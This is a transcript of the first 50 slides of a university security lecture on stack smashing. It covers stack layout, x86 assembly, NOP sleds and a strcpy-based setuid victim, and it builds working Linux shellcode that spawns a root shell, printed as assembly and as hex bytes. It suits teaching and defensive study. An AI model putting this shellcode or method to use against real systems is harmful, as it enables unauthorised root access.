1 / 96

Stack Smashing, printf, return-to-libc

Stack Smashing, printf, return-to-libc. Francis Chang <francis@cs.pdx.edu> Systems & Networking Lab Portland State University. Up Until now. Any questions/comments about previous material / midterm?. start address = 0x0. Code. Data. New binary.

morna
Download Presentation

Stack Smashing, printf, return-to-libc

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Stack Smashing, printf, return-to-libc Francis Chang <francis@cs.pdx.edu> Systems & Networking Lab Portland State University

  2. Up Until now Any questions/comments about previous material / midterm?

  3. start address = 0x0 Code Data New binary BSS Heap 0x4000000 Code Code Program interpreter (ld.so) Data Data BSS BSS Stack start_stack Ptr to Args & Env Arguments Environment 0xC0000000 Process Address Space

  4. start address = 0x0 Code Data New binary BSS Heap 0x4000000 Code Code Program interpreter (ld.so) Data Data BSS BSS Stack start_stack Ptr to Args & Env Arguments Environment 0xC0000000 Process Address Space What we’re interested in in this talk

  5. Stack Frame void function(int a, int b){ printf( “hello” ); return; } void main() { function(1,2); //  What happens here? }

  6. Stack grows high to low Stack Frame Higher memory address size of a word (e.g. 4 bytes) Function parameters SFP + 8 Return address addresses Old base pointer (Saved Frame Pointer) SFP Local variables Lower memory address

  7. size of a word (e.g. 4 bytes) Stack grows high to low Stack Frame Higher memory address a b SFP + 8 Return address addresses Old base pointer (Saved Frame Pointer) SFP Local variables…. Lower memory address SP Calling void function(int a, int b)

  8. size of a word (e.g. 4 bytes) Stack grows high to low Simple program void function(){ int x = 0; char buffer[8]; memcpy(buffer,“abcdefg”,8); printf( “%s %d”, buffer, x ); } Output: ... …. Return address Old base pointer (Saved Frame Pointer) int x Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  9. size of a word (e.g. 4 bytes) Stack grows high to low Simple program void function(){ int x = 0; char buffer[8]; memcpy(buffer,“abcdefg”,8); printf( “%s %d”, buffer, x ); } Output: abcdefg 0 …. Return address Old base pointer (Saved Frame Pointer) int x 0x00000000 buffer[4..7] “efg” buffer[0..3] “abcd”

  10. size of a word (e.g. 4 bytes) Stack grows high to low Simple program2 void function(){ int x = 0; char buffer[8]; memcopy(buffer, “abcdefghijk”,12); printf( “%s %d”, buffer, x ); } Output: ... …. Return address Old base pointer (Saved Frame Pointer) int x Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  11. size of a word (e.g. 4 bytes) Stack grows high to low Simple program2 void function(){ int x = 0; char buffer[8]; memcopy(buffer, “abcdefghijk”,12); printf( “%s %d”, buffer, x ); } Output: abcdefghijkl 7039593 …. Return address Old base pointer (Saved Frame Pointer) int x 0x006b6a69 buffer[4..7] “efgh” buffer[0..3] “abcd”

  12. size of a word (e.g. 4 bytes) Stack grows high to low Buffer Overflow The idea of a buffer overflow… Trick the program into overwriting its buffer… a b Return address Old base pointer (Saved Frame Pointer) Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  13. size of a word (e.g. 4 bytes) Stack grows high to low Buffer Overflow So now that we’ve messed up the program’s memory, what can we do? 1st: We have a bunch of memory we can control. We can insert malicious code. But. How to execute that code? Must change instruction pointer (IP)…. a a b Return address Old base pointer (Saved Frame Pointer) Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  14. size of a word (e.g. 4 bytes) Stack grows high to low Buffer Overflow void function(int a, int b){ char buffer[8]; return; } Return statement: - Clean off the function’s stack frame - Jump to return address Can use this to set the instruction pointer! a a b New Return addr Old base pointer (Saved Frame Pointer) Buffer[4]..Buffer[7] Buffer[0]..Buffer[3]

  15. Stack grows high to low Buffer Overflow • The anatomy of a buffer overflow • We can inject malicious code • We can set the IP • So, put malicious code in the buffer, • Set the return address to point to the • shell code! a New Return addr Shell Code Shell Code Shell Code

  16. Stack grows high to low Buffer Overflow Reality Check: Looks great in theory, but not in practice… We don’t know where the buffer is, so we don’t really know where the nor were the return address is… We can approximate! a New Return addr Shell Code Shell Code Shell Code

  17. New Diagram Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Stack Frame More abstract (but more correct) picture These are the components we’re interested in

  18. Buffer Overflow Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Buffer Overflow (Injected Data) So the data we overwrite starts from here…

  19. Buffer Overflow (Idealized) Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Shell Code New Addr Ideally, this is what a buffer overflow attack looks like…

  20. Buffer Overflow (reality) Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] Shell Code New Addr Reality #1: We don’t know where the Return address is. What do we do?

  21. Buffer Overflow (Addr Spam) Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] New Addr New Addr New Addr Shell Code New Addr Solution – Spam the new address we want to overwrite the return address. So it will overwrite the return address

  22. Buffer Overflow (Reality) Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] New Addr New Addr New Addr Shell Code New Addr Problem #2: We don’t know where the shell code starts. (Addresses are absolute, not relative)

  23. Quick Peek at the shellcode This is real shellcode that works, (more detail later) The problem is, we only have idea where it will end up in memory. So, where to put the instruction pointer? xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB' Shell Code

  24. IP? IP? IP? IP? IP? IP? IP? IP? Quick Peek at the shellcode This is real shellcode that works, (more detail later) The problem is, we only have idea where it will end up in memory. So, where to put the instruction pointer? xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB'

  25. IP? IP? IP? IP? IP? IP? IP? IP? The NOP Sled What happens with a mis-set instruction pointer? Well, the shellcode doesn’t work… xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB'

  26. IP? IP? IP? IP? IP? IP? IP? IP? NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP The NOP Sled New idea – NOP Sled NOP = Assembly instruction (No Operation) What a NOP instruction does: Advance instruction pointer by one, and do nothing else. So, if we create a lot of them…. xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short two one: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 two: call one db '/bin/shXAAAABBBB'

  27. Buffer Overflow (Reality) Stack grows high to low Buffer[0..256] [stuff] Return addr [stuff] NOP Sled New Addr New Addr New Addr Shell Code New Addr The anatomy of a real buffer overflow attack – Now with NOP Sled!

  28. Motivation Stepping back… Motivation for our buffer overflow: • We’re bad • We have a unix account • We want super-user access So, we find a setuid program: • Trick it into giving us a root shell

  29. Motivation Step 1: Locate a SETUID program with a stack buffer that’s vulnerable to overflow. (ie. Search for things that use strcpy ;)

  30. Sample Victim Program int main( char *argc, char *argv[] ) { char buffer[500]; strcpy( buffer, argv[1] ); return 0; } • strcpy expects a null-terminated string • Roughly 500 bytes of memory we fit out shell code to

  31. Writing shellcode • Let’s discuss how to write some x86 shellcode for Linux • First, a primer on x86 assembly

  32. Registers • For our purposes: • Four 32-bit general purpose registers: • eax, ebx, ecx, edx • al is a register to mean “the lower 8 bits of eax” • Stack Pointer • esp • Fun fact: • Once upon a time, only x86 was a 16-bit CPU • So, when they upgraded x86 to 32-bits... • Added an “e” in front of every register and called it “extended”

  33. x86 Assembly mov <dest>, <src> Move the value from <src> into <dest> Used to set initial values add <dest>, <src> Add the value from <src> to <dest> sub <dest>, <src> Subtract the value from <src> from <dest>

  34. x86 Assembly push <target> Push the value in <target> onto the stack Also decrements the stack pointer, ESP (remember stack grows from high to low) pop <target> Pops the value from the top of the stack, put it in <target> Also increments the stack pointer, ESP

  35. x86 Assembly jmp <address> Jump to an instruction (like goto) Change the EIP to <address> Call <address> A function call. Pushes the current EIP + 1 (next instruction) onto the stack, and jumps to <address>

  36. x86 Assembly lea <dest>, <src> Load Effective Address of <src> into register <dest>. Used to load data in memory into a register int <value> interupt – hardware signal to operating system kernel, with flag <value> int 0x80 means “Linux system call”

  37. Goals of Shellcode Goal: Spawn a root shell (/bin/sh) It needs to: • setreuid( 0, 0 ) // real UID, effective UID • execve( “/bin/sh”, *args[], *env[] ); For simplicity, args points to [“/bin/sh”, NULL] and env points to NULL, which is an empty array []

  38. Interupt convention int 0x80 – System call interupt eax – System call number (eg. 1-exit, 2-fork, 3-read, 4-write) ebx – argument #1 ecx – argument #2 edx – argument #3

  39. Shellcode Attempt #1 1st part: section .data ; section declaration filepath db "/bin/shXAAAABBBB" ; the string section .text ; section declaration global _start ; Default entry point for ELF linking _start: ; setreuid(uid_t ruid, uid_t euid) mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen

  40. Shellcode Attempt #1 2nd part: // filepath db "/bin/shXAAAABBBB" ; the string ; execve(const char *filename, char *const argv [], char *const envp[]) mov eax, 0 ; put 0 into eax mov ebx, filepath ; put the address of the string into ebx mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning) mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset) mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset) mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the ; string into ecx lea edx, [ebx+12] ; Load the address of where the BBBB is in the ; string into edx int 0x80 ; Call the kernel to make the system call happen

  41. Shellcode problem #1 It uses two segments – a data segment to store “/bin/sh” filepath db "/bin/shXAAAABBBB“ mov ebx, filepath ;put the address of the string into ebx Not cool. We don’t know where this code is going to be relocated. Can’t use a pointer in our buffer overflow!

  42. Shellcode Trick #1 Observation: 1) The “call” instruction pushes the current instruction pointer onto the stack. 2) The “call” and “jmp” instructions can take arguments relative to the current instruction pointer We can use this to get the of where our data is!

  43. Shellcode Trick #1 Outline of trick: jmp two one: pop ebx [program code goes here] two: call one db ‘this is a string’

  44. Shellcode Attempt #2 1st part: ; setreuid(uid_t ruid, uid_t euid) mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen jmp short two ; Jump down to the bottom for the call trick one: pop ebx ; pop the "return address" from the stack ; to put the address of the string into ebx [ stuff here ] two: call one ; Use a call to get back to the top and get the db '/bin/shXAAAABBBB' ; address of this string

  45. Shellcode Attempt #2 2nd part: // the pointer to “/bin/shXAAAABBBB” already in %ebx ; execve(const char *filename, char *const argv [], char *const envp[]) mov eax, 0 ; put 0 into eax mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning) mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset) mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset) mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string ; into ecx lea edx, [ebx+12] ; Load the address of where the BBBB was in the string ; into edx int 0x80 ; Call the kernel to make the system call happen

  46. Shellcode Problem #2 Looks like we have a working shellcode now! But… remember how we’re inserting it? strcpy( buffer, argv[1] ); NULLterminated string. Let’s look at the assembled shell code.

  47. Shellcode Problem #2 La Voila! Shellcode! b846 00000066 bb00 0000 0066 b900 0000 00cd 80eb 2866 5b66 b800 0000 0067 8843 0766 6789 5b08 6667 8943 0c66 b80b 0000 0066 678d 4b08 6667 8d53 0ccd 80e8 d5ff 2f62 696e 2f73 6858 4141 4141 4242 4242 But all the nulls! Where do all these nulls come from?

  48. Shellcode Trick #2a Loading up all the zeros in the registers for various reasons… mov eax, 0 -> Causes 32-bits of 0’s to be written into our shellcode…

  49. Shellcode Trick #2a Idea! XOR of anything with itself gives us zero mov ebx, 0 -> xor ebx, ebx mov ecx, 0 -> xor ecx, ecx mov eax, 0 -> xor eax, eax 12 nulls removed! As a nice side-benefit, it’s 9 bytes shorter too! But still, some remaining nulls…

  50. Shellcode Trick #2b Where do the other nulls come from? Must load eax registers with the syscall numbers (setreuid = 70, execve = 11) mov eax, 70 ~= mov eax, 0x00000046 Idea: Set eax to zero with the last trick, and then overwrite the low-order byte xor eax, eax mov al, 70

More Related